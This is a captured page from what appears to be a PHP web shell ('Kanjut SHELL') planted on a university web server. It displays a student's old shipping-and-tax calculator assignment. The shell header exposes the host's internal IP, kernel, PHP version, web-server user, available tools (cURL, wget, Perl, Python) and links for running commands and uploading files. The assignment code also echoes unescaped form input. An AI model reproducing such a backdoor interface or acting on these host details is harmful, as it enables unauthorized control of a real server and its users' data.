Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.132.71
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/slcebula/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/slcebula/public_html/assignment6.php
<!--
Name:           Lee Cebula
Date:           3/6/09
Instructor:     Dr. Wang
Title:          assignment6.php
Goal:           pg. 84 #5 calculate cost, shipping, and tax ACTION CODE 
-->

<HTML>
<HEAD>
<TITLE>
Assignment6.php
</TITLE>
</HEAD>
<BODY BGCOLOR=yellow>
<FONT COLOR=red>
<CENTER>
<H1>
Assignment6.php
</H1>
<HR>
<BR>
<?php
	$cost = $_POST["cost"];
	print "The original cost of your item is: $$cost.<BR><BR>";
	$tax = $cost*.06;
	print "The sales tax on your item is 6%: $$tax.<BR><BR>";
	if($cost<=25)
		$ship = 3;
	elseif($cost<=50 && $cost>=26)
		$ship = 4;
	elseif($cost<=75 && $cost>=51)
		$ship = 5;
	else
		$ship = 6;
	print "The shipping on your item is: $$ship.<BR>";
	$total = $cost + $tax + $ship;
	print "<HR><H2><BR>The total price of your item is: $$total.</H2>";
?>

</CENTER>
</FONT>
</BODY>
</HTML>

Stv3n404 - 2023